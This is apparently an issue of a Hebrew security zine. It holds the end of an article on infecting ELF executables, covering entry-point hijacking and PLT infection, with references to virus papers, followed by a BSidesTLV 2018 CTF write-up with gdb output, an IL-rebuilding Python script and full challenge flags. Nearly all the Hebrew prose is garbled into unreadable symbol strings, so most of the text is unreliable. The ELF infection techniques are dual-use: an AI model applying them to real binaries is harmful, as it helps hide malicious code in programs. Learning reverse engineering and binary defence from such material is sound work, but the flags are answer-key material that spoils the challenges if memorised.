ˢ ˸ˣ˧ˢ˟ ˰ˣˠ˲˪ ˫˧˪ˣ˪˰˷ ,ˢ˴˵ ˧˶˵ˬ ˷˧ ˢˤ˪-Shellcode  ˣˮ˪˷PIC  ˪˩˷ ˡ˧ˠˢ˪ ˪˩ˣ˞ ˢˤ˩ ˟˴ˬ˟ .ˢˬˣˡ˩ˣ

 ˢ˧˰˟˟ ˪˲˦˪ ˣ˰ˡ˸˷ ˫˩˪˷ ˞˧˶˟ˢ ˭ˣ˧ˠ˧ˢˢ ˪˰ ˣ˩ˬ˯˸ˣ ˣ˲ˣˠ˪ ˢ˶˵ˬJ. 

 

˧ˣˮ˧˷ s-e_entry  

 ˶˸ˣ˧˟ ˢ˪˵ˢ ˢ˦˧˷ˢˢ ˧ˣˮ˧˷ ˞˧ˢ ˵˶ˤˣˬˢ ˡˣ˵ˢ ˰˦˵˪ ˢ˴˧˲˵˪-e_entry ˟-ehdr. 

 ˰˴˟˸ˢ˪ ˣ˪˧˥˸˧ ˢˮˬˬ ˸˧˪˞ˣ˦˶˧ˣˢ ˸˟ˣ˸˩ˢ ˸˞ ˶˧ˡˠˬ ˢˤ ˢˡ˷˷ ˧˶ˢOpcode-.ˢ˴˧˶ˢ ˸˰˟ ˫˧  ˰˟˦ˬ

 ˫ˢˬ˷ ˫˧˧˸˪˥˸ˢ ˫˧ˬˣ˵˧ˬ ˪˷ ˦˶ˡˮ˦˯ ˷˧ .ˢˡ˧ˬ ˢ˸ˣ˞˟ ˧ˣ˪˧ˠ˪ ˫ˠ ˢ˪˵ˣ ˰ˣ˴˧˟˪ ˢ˪˵ ˣˤ ˢ˦˧˷ ,˫˧˶˟ˡˢ

 ˸ˣ˟ˣ˸˩ˣ ˡˣ˵ ˸˴˶ˢ ˢ˪˧˥˸ˬ ˟ˣ˶˪.˯ˣ˶˧ˣˢ ˸˞ ˸ˣ˪ˠ˪ ˳˟ˣ˵ˢ ˸˞ ˵ˣˡ˟˧˷ ˧ˬ ˪˩˪ ˣˬ˶ˠ˧ ˡ˧ˬ ˸ˣ˶˥˞ 

 

PLT Infection 

.˸ˣˮˣ˷ˢ ˸ˣ˧˶˲˯˟ ˸ˣ˧˴˵ˮˣ˲˪ ˸ˣ˞˧˶˵ ˷˧ ,˸˧˦˞˦˯ ˪˲ˬˣ˵ˬ ˣˮ˧˞˷ ˳˟ˣ˵ ˪˩˟˷ ˧˶ˢ  ˪˰ ˸ˣ˰˴˟˸ˬ ˸ˣ˞˧˶˵ˢ

˟ ˰˦˵˪ ˢ˞˧˶˵ ˧ˡ˧-PLT  ˪˷ ˶ˣ˴˧˵)Procedure Linkage Table.( 

˶ˣ˵˷ ˢˬ ˟s-PLT ˟˵ˮ ˶˷˞ ˸˟ˣ˸˩˪ ˢ˴˧˲˵ ˢˤ ˟˵˰ ,ˢ˟ ˷ˣˬ˧˷ˢ ˸˰˟ ˢ˧˴˵ˮˣ˲ ˪˩˪ ˢ˴˧˶ ˭ˬˤ˟ ˸˰

.ˢ˴˶ˢ ˪˩˟ ˭ˣ˶˩ˤ˟ ˢ˪˷ ˢˮ˸˷ˬˢ ˫ˣ˵˧ˬˢ ˟ ˰˦˵-PLT :˦ˣ˷˲ ˧˪˟ˬ˯˞˯˧ˡ˟ ˨˩ ˢ˞˶˧ 

 ( gdb )  disas puts  

Dump of assembler code for  function puts@plt :  

   0x08048340  <+0>:  jmp     * 0x804a010  

   0x08048346  <+6>:  push    $0x8  

   0x0804834b  <+11>: jmp     0x8048320  

End of assembler dump.  

˞ˢ ,ˢˮˣ˷˞˶ˢ ˢ˴˧˲˵ˢ ˸˞ ˭˞˩ ˯ˣ˶ˡˮ ˪˰ˣ˲˟ ˫˞ ˢ˶˵˧ ˢˬ ˤ-jmp ˪-qword"ˢˮ˧˪ˣ˲ˬ˶˦" ˸˶ˤ˰˟ , ?

 ˣˮ˪˷ ˯ˣ˶˧ˣ˪ ˶˷˧ ˰˧ˠˮ ,˸˧˦ˮˣˣ˪˶ˢ ˢ˧˴˵ˮˣ˲˪ ˢ˞˧˶˵ ˸˰˟ ,ˢ˦ˣ˷˲ ˢ˟ˣ˷˸ˢJ 
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˫ˣ˩˧˯ 

 ˧˴˟˵˪ ˫˧˯ˣ˶˧ˣ ˸˶˧˴˧˪ ˸ˣˮˣ˷ ˸ˣ˦˧˷ ˢ˶˴˵˟ ˧˸˶˵˯ ˢˤ ˶ˬ˞ˬ˟ELF. 

 ˨˷ˬˢ˟ ˫˧˶ˣ˷˧˵˪ ˸˷ˠ˪ ˭ˬˤˣˬ "˸ˣ˶˵˞'˴"ˢ ˸˞ ˣ˪ ˧˸˥˸˲˷ ˧ˬ ˪˩ˣ ,˭˧˧ˮ˰ˬ ˡ˞ˬˣ ,˵ˮ˰ ˫ˣ˥˸˟ ˶˟ˣˡˬ

˩ ˞ˣ˶˵˪ˣ˸ˣˣ˞  ˪˰ ˣ˷˲ˮELF- .˫˧ 

 ˡ˥˧ .˫˧˶˵ˬˢ ˟ˣ˶˟ ˫˧˦ˮˣˣ˪˶ ˫ˮ˧˞˷ ˨˩ˬ ˢ˲˧˷˥ ˸ˣ˥˲˪ ˫˧˩ˣˤ ˫ˮˬ˞ ˸˧ˮ˶ˡˣˬˢ ˸˰˟ ˫˧˯ˣ˶˧ˣ ,˸˞ˤ ˫˰

 ,˯˵˧ˮˣ˧ ˸ˣ˩˶˰ˬ˟ ˫˧ˮˣ˷ ˫˧˦˵˧ˣ˶˲˟ ˣˮ˸ˣ˞ ˫ˡ˵˪ ˡ˧ˬ˸ ˫˧˪ˣ˩˧ ,˫ˢ˧˪˰ ˢˡ˧ˬ˪ˬ ˣˮ˪ ˫˧˵ˮ˰ˣˬ˷ ˫˧˪˩ˢ

˪ ˣˮ˪ ˷ˬ˷˪ˣˣ˞ ˴˧˲ ˸˲˯ˣˢ˪ ˪˷ˬ˪ ,ˣˮ˸ˣ˞ ˫ˡ˵˪ ˡ˞ˬ ˪ˣ˩˧˷ ˣˢ˷ˬ˩ ˞˪˞ ˢ˲˧˵˸ ˶ˣ˦˵ˣˣ˩ ˞˵ˣˣˡô ˫˧˶

.ˢ˪˷ ˫˧˯˶ˣ˯ˢ ˸˞ ˣˮ˪ ˭˧˞˷ ˢˮ˩ˣ˸˪ 

 

˫˧˶ˬˣ˥: 

¶ "ELF - Executable Linkable Format "dexr4de ,˭ˣ˧˪˧ˠ ˶˲˯ˬ-71: 

https://www.digitalwhisper.co.il/files/Zines/0x47/DW71-2-ELF.pdf 

¶ "Unix ELF Parasites and Virus ,"ˣ˧˟˪˧˯ ˶˞ˤ˯ ,˶˟ˣ˦˵ˣ˞ 1998: 

http://ouah.org/elf-pv.txt 

¶ "Unix Viruses ,"ˣ˧˟˪˧˯ ˶˞ˤ˯ ,˨˷ˬˢ ˶˧˷˧ ˪-]2: [ 

https://www.win.tue.nl/~aeb/linux/hh/virus/unix-viruses.txt 

¶ "Learning Linux Binary Analysis ,"˭˞˧˶ "elfmaster ò˪˧ˮˣ˞ ,˶˞ˣ˶˟˲ 2016: 

http://index-of.es/Miscellanous/Learning%20Linux%20Binary%20Analysis.pdf 

¶ "Pymsasid3, pfalcon, git:" 

https://github.com/pfalcon/pymsasid3 
  

https://www.digitalwhisper.co.il/files/Zines/0x47/DW71-2-ELF.pdf
http://ouah.org/elf-pv.txt
https://www.win.tue.nl/~aeb/linux/hh/virus/unix-viruses.txt
http://index-of.es/Miscellanous/Learning%20Linux%20Binary%20Analysis.pdf
https://github.com/pfalcon/pymsasid3
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ˢ ˧˶ˠ˸˞ ˭ˣ˶˸˲-CTF  ˪˷BSidesTLV 2018 
 ˸˞ˬ) ˧˶ˤ˰˪˞ ˭ˡdm0n) ˧ˮ˶˲ˤ ˟ˠ˶ˣ (revirtux( 

 

 ˢˬˡ˵ˢ 

ˢ ˸ˣ˶˥˸ ˢˬ˧˧˵˸ˢ ˧ˮˣ˧ ˷ˡˣ˥ ˨˪ˢˬ˟-CTF  ˯ˮ˩ ˪˷BSidesTLV.  ˣˬ˯˶ˣ˲ ˸ˣ˶˥˸˟19  ˸ˣ˧˶ˣˠ˦˵˟ ˫˧˶ˠ˸˞

.˸ˣˮˣ˷ ˧˷ˣ˵ ˸ˣˬ˶ˣ ˢ ˸˞ ˠ˧˷ˢ˪ ˞˧ˢ ˶ˠ˸˞ ˪˩ ˪˷ ˢ˶˦ˬˢ-flag - .˶ˠ˸˞ˢ ˸˞ ˫˸˶˸˲ ˭˩˞˷ ˨˩˪ ˢ˥˩ˣˢ 

.ˣ˪˞ ˫˧˶ˠ˸˞˪ ˣˮ˪˷ ˸ˣˮˣ˶˸˲ˢ ˸˞ ˠ˧˴ˮˣ ˣˬ˯˶ˣ˲˷ ˫˧˶ˠ˸˞ˢ ˸˞ ˶ˣ˵˯ˮ ˢˤ ˶ˬ˞ˬ˟ 

 ˶ˣ˸˲˪ ˸ˣ˯ˮ˪ ˢ˴ˣ˶˷ ˧ˬ˪ ,˟ˠ˞ ˡ˟˪˶ˬ˞ˬ˪ ˪˧˟˵ˬ˟ / -  ˣˬ˯˶ˣ˲:˟˥˶ˢ ˪˟˵˪ ˫˧˶ˠ˸˞ˢ 

https://www.vulnhub.com/entry/bsidestlv-2018-ctf,250/ 

 

˯˵ˡˮ˧˞ 

:ˡˣ˵˧ˮ ˭˸˧ˮ ˶ˠ˸˞ ˪˩˪ˣ ˸ˣ˧˶ˣˠ˦˵˪ ˣ˵˪ˣ˥ ˸ˣ˶˥˸ˢ ˶˸˞˟ ˫˧˶ˠ˸˞ˢ 

Score Challenge name Category  Score Challenge name Category 

500 Into the rabbit hole Reversing  350 DockingStation Misc 

750 HideinpILainsight Reversing  350 C1337Shell Misc 

1000 Wtflol Reversing  900 PySandbox-Insane Misc 

50 T.A.R.D.I.S. Crypto  350 Shared Directory Forensics 

350 Crypto2 Crypto  150 Redirect Me - 150 Web 

350 IAmBrute Web  150 IH8emacs Web 

500 PimpMyRide Web  150 Creative Agency Web 

750 Can you bypass the SOP? Web  150 I'm Pickle Rick! Web 

1200 GamingStore Web  250 ContactUs Web 

    250 NoSocket Web 

 

  

https://www.vulnhub.com/entry/bsidestlv-2018-ctf,250/
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Into The Rabbit Hole (Reversing) 

Description: 

This challenge aims to test your skills in reverse engineering. The flag is combined with 8 pieces, 

which together assemble a meaningful passphrase. Download this standalone (executable) file, 

and try to catch (build) the flag! 

Made By Adir Abraham 

˷ˬ˸˷ˮ ˣ˟ ˧˪˩ˢ 

tracel ˢ˪˷ ˫˧˶˦ˬ˶˲ˢ ˸˞ˣ ˢ˧˶˲˯ ˸ˣ˧˴˵ˮˣ˲˪ ˸ˣ˞˧˶˵ ˯˧˲ˡˬˢ ˧˪˩ ˞ˣˢ.˭  ˣˢ˷˪˩ ˡˣ˵ ˰˦˵ ˫˞ ,˞ˬˠˣˡ˪

 ˢ˧˴˵ˮˣ˲˪ ˞˶ˣ˵ ˢ˴˶ˢ ˳˟ˣ˵˟strcmp  ˣˣ˷ˣˢ˷ ˸ˣˤˣ˶˥ˬˢ ˧˸˷ ˸˞ ˢ˞˶ˮ ˣˮ˞ ,˸ˣˤˣ˶˥ˬ ˧˸˷ ˭˧˟ ˢˣˣ˷ˬˢ

.ˢ˞ˣˣ˷ˢˢ ˸˞˴ˣ˸ ˸˞ˣ 

˭ˣ˶˸˲ 

˟˸ˣ˩ ˶ˠ˸˞ˢ ˞˪ ˟˷˥ ˪˰ ˨˶ˡ ˭ˣ˶˸˲ˢ ˣˤˢ. ˭˩˪ ,˶˷˞˩ ˳˧˶ˮ ˸˞ ˳˟ˣ˵ˢ ˭˸˧ˮ˷ ˣˮ˪ ˫˰ ltrace ,ˢ˞˶ˮ ˞ˣˢ˷ 

˷ˬ˸˷ˬ ˢ˧˴˵ˮˣ˲˟ strncpy ˪˰ ˸ˮˬ ˵˧˸˰ˢ˪ 8 ˸ˣˤˣ˶˥ˬ ˸ˣ˰ˣ˟˵ ˫ˣ˵ˬ˪ ˣˢ˷˪˩ ˭ˣ˶˩˧ˤ˟: 

 

˭˰ˬ˪ ˸˰˧ˮˬ ˪ˣ˟˪˟ - ˢˡˣ˵˲ˢ ˢˮˣˬ˸˟ ˢ˶˧˟˰ˬ ˸˧ˮ˩˸˪ 8 ˸ˣ˶ˣ˷ ˸ˣ˵˧˶ ˦˪˵˩ )ˢ˶ˣ˞˩˪ 8 ˸ˣˤˣ˶˥ˬˢ 

ˣˮ˧˧ˢ˷ ˫˧˩˧˶˴ ˸ˣ˪ˠ˪ .(˶˥˞˪ ˭˩ˬ ˣˮ˞ ˫˧ˮˮ˯ˬ ˸˞ ˦˪˲ˢ ˪˷ ltrace ˨˩ ˠ˧˴˧˷ ˵˶ ˸ˣ˶ˣ˷ ˫˰ ˢ˪˧ˬˢ 

strncpy ˸ˣ˩ˣ˶˞˷ ˬ66- ˫˧ˣˣ˸ )˸˶˥˞ ˦˪˲ˢ ˢ˧ˢ ˸ˣ˥˲ ˢ˲˧.( 

ˣˮ˪˟˧˵ 8 ˸ˣˤˣ˶˥ˬ base64 - ˶˥˞˪ ˶ˣ˷˶˷ ˥ˣˮ˰˧˲ˣ ,˪˟˵ˮ ˸˞ s-flag: 

BSidesTLV{We_gonna_run_run_run_to_the_cities_of_the_future,_take_what_we_can_an
d_bring_it_back_home._So_take_me_down_to_the_cities_of_the_future,_everybody's_
happy_and_I_feel_at_home.}  
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HideinpILainsight (Reversing) 

Description: 

Is it possible to hide an encryption algorithm in .NET? Or should one resort to unmanaged code 

only? In this challenge, you will learn .NET reversing and handle some nasty IL bytecode in order 

to get the flag. Are you up to the challenge? 

Made by Omer Agmon 

˷ˬ˸˷ˮ ˣ˟ ˧˪˩ˢ 

dnSpy  ˳˟ˣ˵ ˪˟˵ˬˢ ˧˪˩ ˞ˣˢ.NET .ˣ˪˷ ˶ˣ˵ˬˢ ˡˣ˵ ˣˬ˩ ˦˰ˬ˩ ˣ˸ˣ˞ ˠ˧˴ˬˣ ˪˲ˬˣ˵ˬ  ˶˷˲˞ˬ ˧˪˩ˢ ,˱˯ˣˮ˟

.ˡˣ˵ˢ ˸˞ ˸ˣˮ˷˪ˣ ˠ˟ˡ˪  ˡˣ˵˷ ˞˧ˢ ,˸˞ˤ ˸ˣ˷˰˪ ˭˸˧ˮ˷ ˢ˟˧˯ˢ.NET  ˸˲˷˪ ˪˲ˬˣ˵ˬCIL ˸˲˷ ˞˧ˢ˷ ,

 ˸˲˷ ˭˧˟ ˫˧˧ˮ˧˟.NET ˢ ˸˲˷ ,˸˧ˮ˩ˣ˸ˢ ˸˴˧˶ ˭ˬˤ˟ ,˭˩ˬ ˶˥˞˪ .ˢˮˣ˩ˬ ˸˲˷˪-CIL  ˢˮˣ˩ˬ ˸˲˷˪ ˸ˬˠ˶ˣ˸ˬ

.˸˴˶ˣˬ ˤ˞ˣ 

˭ˣ˶˸˲ 

 ˫˰ ˣˮ˪˟˧˵˷ ˳˟ˣ˵ˢ ˸˥˧˸˲ ˶˥˞˪dnSpy:ˢˮ˟ˢ˪ ˦ˣ˷˲ ˸˧˯˥˧ ˡˣ˵ ˣˮ˪ ˠ˴ˣ˧ , 

 

 ˢˮ˸˷ˬ ˡˣ˰ ˶ˡˠˣˬ ˭˩ˬ ˶˥˞˪byte[] array:˞ˣˢ ˡˣ˵ˢ ˱ˣ˯˟˪ˣ , 
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˸˞˧˶˵ˬ ˡˣ˵ˢ ,˭˸˧ˮ ˭˧˟ˢ˪ ˢ˪˧˥˸˷ ,ˡˣ˵ˢ ˵ˡˣ˟ ˫˞ ˫˧ˠ˟ˡˬ ˣ˸ˣ˞ .˫˞ ˭˩ ,˸˧ˮ˩˸ˢ ˸˞˴ˣ˧ ˶˥˞˪ ˢ˯˲ˡˢ 

˪˷ ˸ˤˣ˶˥ˬ )˸ˣ˶ˣ˷ 5-10.( 

 ˭˧˟ ˶˲˯ˬ ˪˧˶ˠˬ ˞ˣˢ ,˭˩ˬ ˶˥˞˪0 ˪-312  ˫˰seed ) ˣˢ˷˪˩hash  ˦˵˧˧˟ˣ˞ ˪˷Guid˶˲˯ˬˢ ˫˞ .(  ˪˶ˠˣˢ˷

ˬ ˭˦˵-312˪˩˷ ˭ˣˣ˧˩ˬ ,˸˧ˮ˩˸ˢ ˪˷ ˢ˪˧ˠ˶ ˢ˴˧˶˟ ˣˤ ˢ˵˧ˡ˟ ˸˞ ˶ˣ˟˰˪ ˭˸˧ˮ ˞˪˷ ˭˟ˣˬ˩ .˸˞˴ˣ˧ ˸˧ˮ˩ˣ˸ˢ , 

ˢˬ ˫˧ˮ˦˵ ˣ˧ˢ˧ ˫˧˪˶ˠˣˬˢ ˫˧˶˲˯ˬ-312  ˸ˣ˶ˣ˷)11-14.(  ˧˸˞˶˵ ˣ˪ ˫˧˸˟ ˨˶˰ˬ ˶ˡˠˣˬ ,ˤ˞ˣil  ˫˧˸˟ ˨˶˰ˬˣ

 ˫˷˟ ˱˯ˣˮarray ˸ˣˮˣˬ˸˟ ˰˧˲ˣˬ ˞˪˷  ˸ˣ˶ˣ˷)15-178.(  ˶˸ˣ˧ ˭˧˧ˮ˰ˬˢ ˵˪˥ˢ ˢ˶ˣ˵ ˸˰˩-  ˸˞ ˳˪˥ˬ ˞ˣˢ

-sCIL ˨ˣ˸˪ ˸˧˥˩ˣˮˢ ˸˧ˮ˩˸ˢ ˪˷ilasByteArray   ˢ˶ˣ˷)179 ˨˶˰ˬˢ ˸˞ ˶˧ˡˠˬˣ (il ˟ ˢ˧˴˵ˮˣ˲ ˶ˣ˸-  ˞"ˤ

 ˨˶˰ˬ˟ ˫˧˩˶˰ˢil  ˫ˢCIL .˳˧˶ˢ˪ ˭˸˧ˮ˷ 

 ˯ˣ˲˧˦ˬ ˫˧˩˶˰ˬ ˸ˣ˧ˢ˪ ˫˧˶ˡˠˣˬ ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˫˧˶˦ˬ˶˲ˢ ˧ˮ˷˷ ˭˧˥˟ˮbyte  ˸ˣ˶ˣ˷)188-192.(  ,˱ˣ˯˟˪

 ˫˰ ˢ˧˴˵ˮˣ˲˪ ˞˶ˣ˵ ˞ˣˢarray xilasByteArray  ˸ˣ˶ˣ˷) ˢ˪˷ ˢ˴˧˶ˢ ˸˞˴ˣ˸ ˸˞ ˯˧˲ˡˬˣ ˫˧˦ˮˬˣˠ˶˞˩201-

206.(  ˨˶˰ˬ˟ ˡˣ˵ˢ ˢˬ ˭˧˟ˢ˪ ˢ˴˶ˮil ˸˧ˮ˩˸ˢ ˪˷ ˡˣ˵ˢ ˸˞ ˱˧˪˥ˢ˪ ˢ˴˶ˮ ,˸˞ˤ ˸ˣ˷˰˪ ˸ˮˬ ˪˰ .ˢ˷ˣ˰ 

 ˨˶˰ˬˢˬ ˡˣ˵˟ ˸˧˶ˣ˵ˬˢilˢ ˪˧˥˸ˬ ˭˩˧ˢ ˢ˪ˠˮ ,ˢ˪˧˥˸ .-CIL .˸˧˶ˣ˵ˬˢ ˸˧ˮ˩˸ˢ ˪˷  ,˸˞ˤ ˸ˣ˷˰˪ ˸ˮˬ ˪˰

 ˳ˣ˥˪˪ ˭˸˧ˮCtrl-X ˢ ˸˪ˣ˰˲ ˸˞ ˰˴˟ˬˢ-"Show Instructions In Hex Editor": 

 

˸ˣ˪ˠ˪ ˸ˮˬ ˪˰ ˢ ˪˰ ˶˟˩˰ˢ ˸˞ ˶˧˟˰ˮ ,˸ˣ˞˶ˣˢˢ ˸ˣ˪˧˥˸ˬ ˭˩˧ˢ-hexeditor :˥˸˲ˮ˷ 
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 ˦˯˧ˢ˟ ˸ˣ˪˧˥˸ˬ ˸ˣ˞˶ˣˢˢ˷ ˸˶ˬˣ˞ ˸˞ˤ0x254 .˸˞ˤ ˞ˡˣˣ˪ ˪˩ˣˮ .˳˟ˣ˵˟  ˞ˣˢ ˭ˣ˷˞˶ˢ ˸˧˟ˢ0x28 ˫˞ .

 ˪˩˸˯ˮˢ˧ˡ˲˧˵˧ˣ ˱ˡ˟ ˣ˞˶ˣˢ ˪˩ ˸˞ ˶˞˸ˬˢˢ ˸-CIL:ˢ˞˶ˮ , 

0x28 call <method>  Call method described by method.  

˪ ˫˧˞˸ˬ ˢˤˣ-CIL ˟ ˪˧˥˸ˬ˷ ˣˮ˪˷ ˡˣ˵ˢ ˪˷-call  ˢ˴˧˥˪ ˭˩ˬ ˶˥˞˪ˣ ˧ˮ˧ˬ˧ ˵˧˪˵ ˧ˡ˧ ˪˰ ˣ˸ˣ˞ ˸ˣ˞˶˪ ˭˸˧ˮ)

 ˪˰Edit Il Instruction":(" 

 

 ˸˧˟˟ ˸ˣˬ˧˧˸˯ˬ ˸ˣ˞˶ˣˢˢ˷ ˢ˞˶ˮ ˭˲ˣ˞ ˣ˸ˣ˞˟0x2A ˞ˣˢ ˸ˣ˞˶ˣˢˢ ˪ˡˣˠ ˞"ˤ ,0x1BD .˫˧˸˟ 

 ˫˧˶˲˯ˬˢ ˨˶˰ˬ ˸˞ ˶˧ˬˮil :˞˟ˢ ˭ˣ˸˧˧˲ˢ ˡˣ˵ ˸ˣ˰˴ˬ˞˟ ˳˟ˣ˵˪ 

il =[ 32, 70, 76, 69, 127 , 10, 22, 11, 22, 12, 32, 0, 62, 0, 2, 13, 32, 0, 0, 0, 1, 19, 4, 32, 0, 6

4, 4, 0, 19, 5, 22, 19, 6, 32, 0, 1, 1, 2, 19, 7, 22, 19, 8, 43, 49, 17, 8, 31, 11, 48, 15, 3, 17, 8

, 3, 142 , 105 , 93, 145 , 3, 142 , 105 , 88, 210 , 43, 8, 3, 17, 8, 3, 142 , 105 , 93, 145 , 19, 9, 2, 1

7, 8, 2, 17, 8, 145 , 17, 9, 97, 210 , 156 , 17, 8, 23, 88, 19, 8, 17, 8, 2, 142 , 105 , 50, 200 , 6, 7

, 54, 18, 9, 8, 54, 14, 17, 4, 17, 5, 54, 8, 17, 7, 17, 6, 54, 2, 20, 122 , 2, 42]  

il ='' . join ([ chr ( c)  for  c in il ])  

open ( 'wub' , 'wb' ). write ( il )  

 ˳˟ˣ˵ˢ ˸˞ ˣˮ˪ ˷˧ ˸˰˩wub  ˪˧˩ˬ˷125  ˸ˣ˞˶ˣˢˢ ˸˞ ˱˧˪˥ˢ˪ ˧ˡ˩ ˷ˬ˸˷ˢ˪ ˢ˴˶ˮ ˫ˢ˟ ,˫˧˸˟

.˸˧ˮ˩ˣ˸ˢ ˪˷ ˸ˣ˧˶ˣ˵ˬˢ  ˸˞ ˥˸˲ˮ ,˸˞ˤ ˸ˣ˷˰˪ ˸ˮˬ ˪˰wub  ˫˰hexeditor ˧ˡ˧ ˪˰ ˫˧˸˟ˢ ˪˩ ˸˞ ˵˧˸˰ˮ ,

ˣ ˭ˣˬ˧˯-Ctrl-C) ˸ˣ˪˧˥˸ˬ ˸ˣ˞˶ˣˢˢ ˣ˟ ˦˯˧ˢ˪ ˶ˣ˟˰ˮ ,ˣˮ˪˟˧˵˷ ˳˟ˣ˵ˢ ˪˷ ˵˸ˣ˰ ˥˸˲ˮ ,0x254 ˫˰ ˵˧˟ˡˮˣ ,(

Ctrl-V.  

˩ ˸ˣ˰˴ˬ˞˟ ˸ˣ˷ˡ˥ˢ ˸ˣ˞˶ˣˢˢ ˫˰ ˳˟ˣ˵ˢ ˸˞ ˥ˣ˸˲˪ ˢ˯ˮˮ ˶˷˞˩ ,˸˰dnSpy:ˢ˞˧ˠ˷ ˸˰ˡˣˢ ˪˟˵ˮ , 

 

˷ ˫˧˦ˮˬˣˠ˶˞ˢ ˶˲˯ˬ-dnSpy  ˪˷ ˸ˣ˞˶ˣˢˢ ˸˞ ˣˮ˯˶ˡ˷ ˭ˣˣ˧˩ˬ ,˧ˮˣ˧ˠˢ ˢˤ .˭ˣ˩ˮ ˣˮ˧˞ ˣ˪ ˢ˲˴ˬMain 

 ˫˷˟ ˡˡˣ˟ ˸ˣˤˣ˶˥ˬ ˨˶˰ˬ ˸˪˟˵ˬˢargs  ˯ˣ˲˧˦ˬ ˫˧˦ˮˬˣˠ˶˞ ˧ˮ˷ ˸˪˟˵ˬˢ ˢ˧˴˵ˮˣ˲ ˫˰byte[]. 

 

 

 

https://en.wikipedia.org/wiki/List_of_CIL_instructions
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 ˪˰ ˪˰ ˳˥˪ˮ ,˸˞ˤ ˭˵˸˪ ˸ˮˬMain  ˤ˞ˣAlt-Enter ˳˥˪ˮ .ˢ˧˴˵ˮˣ˲ˢ ˸˞ ˨ˣ˶˰˪ ˣˮ˪ ˶˷˲˞ˬˢ ˭ˣ˪˥ ˥˸˲˧ .

 ˪˰Signature :ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˢˬ˧˸˥ˢ ˸˞ ˨ˣ˶˰˪ ˸ˮˬ ˪˰ 

 

 ˧˶ˣ˵ˬˢ ˡˣ˵ˢˬ ˣˮ˧˪˧ˠ˷ ˢˬ ˧˲˪ ˫˧˶˦ˬ˶˲ˢ ˸˞ ˫˧˞˸ˮ-  ˯ˣ˲˧˦ˬ ˫˧˦ˮˬˣˠ˶˞ ˧ˮ˷ ˪˟˵˪ ˢ˩˧˶˴ ˢ˧˴˵ˮˣ˲ˢ

byte[]˦ ˣ˸ˣ˞ˬ ˢˮ˸˷ˬ ˶˧ˤ˥ˢ˪ˣ ,:˯ˣ˲˧ 
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:ˡˣ˵ˢ ˸˞ ˣˮ˪ ˶ˤ˥˷˪ ˥˧˪˴˸ ˢˮ˩ˣ˸ˢ ˸˰˩ 

 

˟ ˷ˬ˸˷ˬ ˡˣ˵ˢ-CIL  ˨˶˰ˬˢ ˸˞ ˥ˮ˰˲˪ ˸ˮˬ ˪˰ ˸˧˶ˣ˵ˬˢ ˸˧ˮ˩˸ˢ ˪˷array.  ˢ˪ˣ˵˷ ˸˧ˮ˩˸ ˟ˣ˸˩ˮ

) ˫˧ˮˣ˩ˮˢ ˫˧˶˦ˬ˶˲ˢ ˸˞ ˸˪˟˵ˬˢ ˣˮ˪˷ˬarray x-ilasbytearray.(  ˸˞array ˪˷ ˡˣ˵ˢˬ ˸ˣ˪˵˟ ˳˪˥˪ ˭˸˧ˮ 

 ˸˞ˣ ,˸˧˶ˣ˵ˬˢ ˸˧ˮ˩˸ˢilasbytearray  ˫˧˧˦ˮˣˣ˪˶ˢ ˫˧˸˟ˢ ˸˞ ˳˪˥ˬˢ ˭ˣ˸˧˲ ˡˣ˵ ˸ˣ˰˴ˬ˞˟ ˳˪˥˪ ˭˸˧ˮ

)0x1BD  ˦˯˧ˢˬ ˪˥ˢ ˫˧˸˟0x254 ˟ ˫˧˸˟ ˨˶˰ˬ ˪˷ ˢ˶ˣ˴˟ ˫˸ˣ˞ ˯˧˲ˡˬˣ ,(˳˟ˣ˵˟-C#. 

:˨˩ ˢ˞˶˧˸ ˢ˪ˣ˵˷ˢ ˸˧ˮ˩˸ˢ .˫˧˶˸ˣ˧ˬˢ ˫˧ˮ˸˷ˬˢˣ ˸ˣ˵˧ˡ˟ˢ ˪˩ ˸˞ ˵˥ˬˮ˷ ˭˟ˣˬ˩ 

 

ˢ ˸˞ ˪˟˵ˮ ,ˢ˴˶ˢˣ ˪ˣ˲ˬ˧˵ ˶˥˞-flag: 
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Wtflol (Reversing) 

Description: 

Can you get the flag? 

Made by Kasif Dekel 

˷ˬ˸˷ˮ ˫ˢ˟ ˫˧˪˩ˢ 

˟ ˷ˬ˸˷ˮ-IDA ˟ˣ ,ˣˮ˪˟˧˵˷ ˳˟ˣ˵ˢ ˪˷ ˧˦˦˯ ˥ˣ˸˧ˮ ˰˴˟˪ ˧ˡ˩-WinDBG+VirtualBox ˥ˣ˸˧ˮˢ ˪˧˟˷˟ 

˟ ˫˧˶˟˧˧˶ˡ ˪˰ ˟ˣ˦ ˶˟˯ˢ .˧ˬ˞ˮ˧ˡˢ-Windows  ˞ˣ˴ˬ˪ ˶˷˲˞ ˫ˢ˪˷ ˠˣ˟˧ˡˣˢ˧˦˰ ˪˟ˣ˧ ˪˷ ˶ˬ˞ˬ˟ ˢ˲ˣ. 

˭ˣ˶˸˲ 

 ˸ˮ˟ˣˬ ˧ˡ ˸˧ˮ˩˸ˢ ˪˷ ˢ˪ˣ˰˲ˢ ˨˶ˡ ,˧˦˞˦˯ ˥ˣ˸˧ˮ ˸ˣ˰˴ˬ˞˟-  ˣˢˤrDrive  ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˪Windows 

ˢ ˸˧˧˴˵ˮˣ˲˷ ˭ˣˣ˧˩ˬ)-DriverEntry  ˠˣ˯ˬ ˞ˣˢˣ ˳˟ˣ˵˟ ˸ˬ˧˧˵PE.( ˢ ˸˧˧˴˵ˮˣ˲-DriverEntry  ˸˞ ˸˯˶ˣˡ

ˢ ˸˧˧˴˵ˮˣ˲-ctl handler-IO  ˪˷Null\\Driver\\ ˧˸˞˶˵ ˢ˪ ˶˟˧˧˶ˡˢ ˨ˣ˸ˬ ˢ˧˴˵ˮˣ˲ ˫˰ 

"check_something_then_print_flag ˧˟ˠ˪ ˣˢ˷ˬ ˸˵ˡˣ˟ ˞˧ˢ˷ ˭ˣˣ˧˩ˬ ,"-sbuffer  ˫˧˶˟ˣ˰ ˫˞ˣ ˢ˪ ˭˸˧ˮ˷

ˢ ˸˞ ˫˧˪˟˵ˬ ˤ˞ ,ˢ˵˧ˡ˟ˢ ˸˞-flag: 

 

